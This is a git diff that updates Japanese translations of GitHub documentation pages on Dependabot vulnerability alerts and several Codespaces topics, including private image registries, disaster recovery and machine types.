+**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)」を参照してください。
 
 {% endnote %}
 
-{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+{% data reusables.repositories.security-alerts-x-github-severity %} 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)」を参照してください。
 
-## How to reduce the noise from notifications for vulnerable dependencies
+## 脆弱性のある依存関係の通知を減らす方法
 
-If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)."
+{% data variables.product.prodname_dependabot_alerts %}の通知をあまりに多く受け取ることが心配なら、週次のメールダイジェストにオプトインするか、{% data variables.product.prodname_dependabot_alerts %}を有効化したままで通知をオフにすることをおすすめします。 その場合でも、リポジトリのセキュリティタブで{% data variables.product.prodname_dependabot_alerts %}を確認することはできます。 詳細については、「[リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
-- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
+- [通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)
+- 「[インボックスからの通知を管理する](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)」
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
index 067cab1c4a..d5acb5f5d3 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing vulnerabilities in your project's dependencies
+title: プロジェクトの依存関係にある脆弱性を管理する
 intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.'
 redirect_from:
   - /articles/updating-your-project-s-dependencies
@@ -30,6 +30,6 @@ children:
   - /viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /troubleshooting-the-detection-of-vulnerable-dependencies
   - /troubleshooting-dependabot-errors
-shortTitle: Fix vulnerable dependencies
+shortTitle: 脆弱性のある依存関係の修復
 ---
 
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
index c2a6b0c128..17020fe9ea 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and updating vulnerable dependencies in your repository
-intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.'
+title: リポジトリ内の脆弱な依存関係を表示・更新する
+intro: '{% data variables.product.product_name %} がプロジェクト内の脆弱性のある依存関係を発見した場合は、それらをリポジトリの [Dependabot alerts] タブで確認できます。 その後、プロジェクトを更新してこの脆弱性を解決することができます。'
 redirect_from:
   - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository
@@ -25,60 +25,53 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-Your repository's  {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+Your repository's  {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+{% data variables.product.prodname_dependabot_alerts %} と依存関係グラフを使用するリポジトリの自動セキュリティ更新を有効にすることができます。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)」を参照してください。
 {% endif %}
 
 {% data reusables.repositories.dependency-review %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-## About updates for vulnerable dependencies in your repository
+## リポジトリ内の脆弱性のある依存関係の更新について
 
-{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability.
+コードベースが既知の脆弱性のある依存関係を使用していることを検出すると、{% data variables.product.product_name %} は {% data variables.product.prodname_dependabot_alerts %} を生成します。 {% data variables.product.prodname_dependabot_security_updates %} が有効になっているリポジトリの場合、{% data variables.product.product_name %} がデフォルトのブランチで脆弱性のある依存関係を検出すると、{% data variables.product.prodname_dependabot %} はそれを修正するためのプルリクエストを作成します。 Pull Requestは、脆弱性を回避するために必要最低限の安全なバージョンに依存関係をアップグレードします。
 {% endif %}
 
-## Viewing and updating vulnerable dependencies
+## 脆弱性のある依存関係を表示して更新する
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and, if available, the pull request containing the automated security update.
-1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**.
-  ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png)
-1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
-1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
+1. 表示したいアラートをクリックします。 ![アラートリストで選択されたアラート](/assets/images/help/graphs/click-alert-in-alerts-list.png)
+1. 脆弱性の詳細を確認し、可能な場合は、自動セキュリティアップデートを含むプルリクエストを確認します。
+1. 必要に応じて、アラートに対する {% data variables.product.prodname_dependabot_security_updates %} アップデートがまだ入手できない場合、脆弱性を解決するプルリクエストを作成するには、[**Create {% data variables.product.prodname_dependabot %} security update**] をクリックします。 ![{% data variables.product.prodname_dependabot %} セキュリティアップデートボタンを作成](/assets/images/help/repository/create-dependabot-security-update-button.png)
+1. 依存関係を更新して脆弱性を解決する準備ができたら、プルリクエストをマージしてください。 {% data variables.product.prodname_dependabot %} によって発行される各プルリクエストには、{% data variables.product.prodname_dependabot %} の制御に使用できるコマンドの情報が含まれています。 詳しい情報については、「[依存関係の更新に関するプルリクエストを管理する](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands) 」を参照してください。
+1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert. ![[Dismiss] ドロップダウンでアラートを却下する理由を選択する](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% elsif ghes > 3.0 or ghae-issue-4864 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency.
-1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
+1. 表示したいアラートをクリックします。 ![アラートリストで選択されたアラート](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
+1. 脆弱性の詳細をレビューし、依存関係を更新する必要があるかを判断してください。
+1. 依存関係のセキュアなバージョンへマニフェストあるいはロックファイルを更新するPull Requestをマージすると、アラートは解決されます。 Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert. ![[Dismiss] ドロップダウンでアラートを却下する理由を選択する](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% else %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
 {% data reusables.repositories.click-dependency-graph %}
-1. Click the version number of the vulnerable dependency to display detailed information.
-  ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert.
-1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert.
-  ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
+1. 詳細な情報を表示する脆弱性のある依存関係のバージョン番号をクリックしてください。 ![脆弱性のある依存関係の詳細情報](/assets/images/enterprise/3.0/dependabot-alert-info.png)
+1. 脆弱性の詳細をレビューして、更新する必要があるかを判断してください。 依存関係のセキュアなバージョンへマニフェストあるいはロックファイルを更新するPull Requestをマージすると、アラートは解決されます。
+1. **Dependencies（依存関係）**タブの上部のバナーは、脆弱性のある依存関係がすべて解決されるか、そのバナーを閉じるまで表示されます。 バナーの右上にある**Dismiss（却下）**をクリックして、アラートを却下する理由を選択してください。 ![セキュリティバナーを閉じる](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %}
-- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
-- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
+- 「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」{% ifversion fpt or ghec or ghes > 3.2 %}
+- 「[{% data variables.product.prodname_dependabot_security_updates %}の設定](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)」{% endif %}
+- 「[リポジトリのセキュリティおよび分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」
+- 「[脆弱性のある依存関係の検出のトラブルシューティング](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)」{% ifversion fpt or ghec or ghes > 3.2 %}
+- 「[{% data variables.product.prodname_dependabot %}エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」{% endif %}
diff --git a/translations/ja-JP/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/ja-JP/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
index 7130649af7..7c6284a790 100644
--- a/translations/ja-JP/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
+++ b/translations/ja-JP/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
@@ -1,13 +1,13 @@
 ---
-title: Allowing your codespace to access a private image registry
-intro: 'You can use secrets to allow {% data variables.product.prodname_codespaces %} to access a private image registry'
+title: codespace がプライベートイメージレジストリにアクセスできるようにする
+intro: 'シークレットを使用して、{% data variables.product.prodname_codespaces %} がプライベートイメージレジストリにアクセスできるようにすることができます'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Codespaces
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Private image registry
+shortTitle: プライベートイメージレジストリ
 ---
 
 ## About private image registries and {% data variables.product.prodname_codespaces %}
@@ -32,7 +32,7 @@ By default, when you publish a container image to {% data variables.product.prod
 
 This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to {% data variables.product.prodname_dotcom %} Container Registry using a Personal Access Token (PAT).
 
-If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)."
+If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. 詳しい情報については「[パッケージのアクセス制御と可視性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)」を参照してください。
 
 ### Accessing an image published to the organization a codespace will be launched in
 
@@ -52,15 +52,15 @@ We recommend publishing images via {% data variables.product.prodname_actions %}
 
 ## Accessing images stored in other container registries
 
-If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. If these secrets are found, {% data variables.product.prodname_codespaces %} will make the registry available inside your codespace.
+If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. これらのシークレットが見つかった場合、{% data variables.product.prodname_codespaces %} はレジストリを codespace 内で使用できるようにします。
 
 - `<*>_CONTAINER_REGISTRY_SERVER`
 - `<*>_CONTAINER_REGISTRY_USER`
 - `<*>_CONTAINER_REGISTRY_PASSWORD`
 
-You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" and "[Managing encrypted secrets for your repository and organization for Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)."
+シークレットは、ユーザ、リポジトリ、または Organization レベルで保存できるため、異なる Codespaces 間で安全に共有できます。 When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. 詳しい情報については、「[Codespaces の暗号化されたシークレットを管理する](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)」および「[Codespaces のリポジトリと Organization の暗号化されたシークレットを管理する](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)」を参照してください。
 
-If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list.  
+If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list.
 
 ![Image registry secret example](/assets/images/help/codespaces/secret-repository-access.png)
 
@@ -118,4 +118,4 @@ Some of the common image registry servers are listed below:
 
 ## Debugging private image registry access
 
-If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the apprioriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_codespaces %} secrets, either at the user, repository, or organization level and try again.
\ No newline at end of file
+If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the apprioriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_codespaces %} secrets, either at the user, repository, or organization level and try again.
diff --git a/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
index 71bac5b61d..d734f11209 100644
--- a/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Disaster recovery for Codespaces
-intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.'
+title: Codespaces のシステム災害復旧
+intro: この記事では、大規模な自然災害や広範囲にわたるサービスの中断により、地域全体で障害が発生した場合のシステム災害復旧シナリオのガイダンスについて説明します。
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,42 +10,42 @@ topics:
 shortTitle: Disaster recovery
 ---
 
-We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions.
+当社は、ユーザが {% data variables.product.prodname_codespaces %} をいつでも確実にご利用いただけるよう努力しています。 しかし、当社の管理できる範囲を超えてサービスに影響を及ぼし、計画外のサービスの中断を引き起こす不可抗力が発生する可能性があります。
 
-Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable.
+システム災害復旧シナリオはまれにしか発生しませんが、リージョン全体にわたる停止が発生する可能性に備えておくことをお勧めします。 リージョン全体でサービスが中断した場合、ローカルで冗長化されたデータのコピーは一時的に利用できなくなります。
 
-The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed.
+次のガイダンスでは、codespace がデプロイされているリージョン全体へのサービスの中断を処理する方法を説明します。
 
 {% note %}
 
-**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently.
+**注釈:** リモートリポジトリに頻繁にプッシュすることで、サービス全体の停止による潜在的な影響を減らすことができます。
 
 {% endnote %}
 
 ## Option 1: Create a new codespace in another region
 
-In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
+In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. この新しい codespace には、{% data variables.product.prodname_dotcom %} への最後のプッシュ時点までのすべての変更が含まれます。 For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
 
 You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
-## Option 2: Wait for recovery
+## オプション 2: リカバリを待つ
 
-In this case, no action on your part is required. Know that we are working diligently to restore service availability. 
+この場合、ユーザ側でのアクションは必要ありません。 当社がサービスの可用性をリストアするために作業を行います。
 
 You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/).
 
-## Option 3: Clone the repository locally or edit in the browser
+## オプション 3: リポジトリをローカルでクローンする、またはブラウザで編集する
 
-While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+{% data variables.product.prodname_codespaces %} では事前構成された開発者環境を利用できるメリットがありますが、ソースコードは常に {% data variables.product.prodname_dotcom_the_website %} でホストされているリポジトリからアクセス可能である必要があります。 {% data variables.product.prodname_codespaces %} が停止した場合でも、リポジトリをローカルでクローンしたり、{% data variables.product.company_short %} ブラウザエディタでファイルを編集したりすることができます。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
 
-While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve.
+このオプションでは開発環境を設定しませんが、サービスの中断が解決するのを待つ間、必要に応じてソースコードを変更できます。
 
-## Option 4: Use Remote-Containers and Docker for a local containerized environment
+## オプション 4: ローカルのコンテナ化された環境にリモートコンテナとDockerを使用する
 
-If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup.
+リポジトリに `devcontainer.json` がある場合は、Visual Studio Code の [Remote-Containers 機能拡張](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)を使用して、リポジトリのローカル開発コンテナをビルドしてアタッチすることを検討してください。 このオプションのセットアップ時間は、ローカル仕様と開発コンテナセットアップの複雑さによって異なります。
 
 {% note %}
 
-**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option.
+**注釈:** このオプションを試す前に、ローカル設定が[最小要件](https://code.visualstudio.com/docs/remote/containers#_system-requirements)を満たしていることを確認してください。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/translations/ja-JP/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
index 0221ca867e..5c1967fc35 100644
--- a/translations/ja-JP/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
@@ -54,3 +54,7 @@ Your codespace will be automatically deleted when you are removed from an organi
 ## Deleting your unused codespaces
 
 You can manually delete your codespaces in https://github.com/codespaces and from within {% data variables.product.prodname_vscode %}. To reduce the size of a codespace, you can manually delete files using the terminal or from within {% data variables.product.prodname_vscode %}.
+
+## 参考リンク
+
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/ja-JP/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/ja-JP/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
index 01125e5289..c7624fba73 100644
--- a/translations/ja-JP/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
+++ b/translations/ja-JP/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -23,10 +23,10 @@ redirect_from:
 
 You can access the {% data variables.product.prodname_vscode_command_palette %} in a number of ways.
 
-- `Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
 
   このコマンドは Firefox で指定されているキーボードショートカットになりますので、ご注意ください。
-- `F1`
+- <kbd>F1</kbd>
 - アプリケーションメニューから、**[View] > [Command Palette…]** をクリックします。
 
   ![アプリケーションメニュー](/assets/images/help/codespaces/codespaces-view-menu.png)
diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
index 34ad12301c..550417fde9 100644
--- a/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
+++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -22,10 +22,9 @@ topics:
 
 {% data reusables.codespaces.codespaces-machine-types %}
 
-You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. 
+You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace.
 
-For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." 
-For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
+For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
 
 ## Changing the machine type in {% data variables.product.prodname_dotcom %}
 
@@ -40,9 +39,13 @@ For information on changing the machine type within {% data variables.product.pr
 
    !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
 
-1. Choose the required machine type.
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
 
-2. Click **Update codespace**. 
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+2. Click **Update codespace**.
 
    The change will take effect the next time your codespace restarts.
 
@@ -50,7 +53,7 @@ For information on changing the machine type within {% data variables.product.pr
 
 If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart.
 
-1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. 
+1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**.
 
    ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png)
 
diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/index.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/index.md
index b2649f276e..fd2ae496ee 100644
--- a/translations/ja-JP/content/codespaces/customizing-your-codespace/index.md
+++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/index.md
@@ -1,6 +1,6 @@
 ---
 title: Customizing your codespace
-intro: '{% data variables.product.prodname_codespaces %} is a dedicated environment for you. You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
+intro: '{% data variables.product.prodname_codespaces %} は自分専用の環境に整えることができます。 You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -17,4 +17,4 @@ children:
   - /setting-your-timeout-period-for-codespaces
   - /prebuilding-codespaces-for-your-project
 ---
- 
+
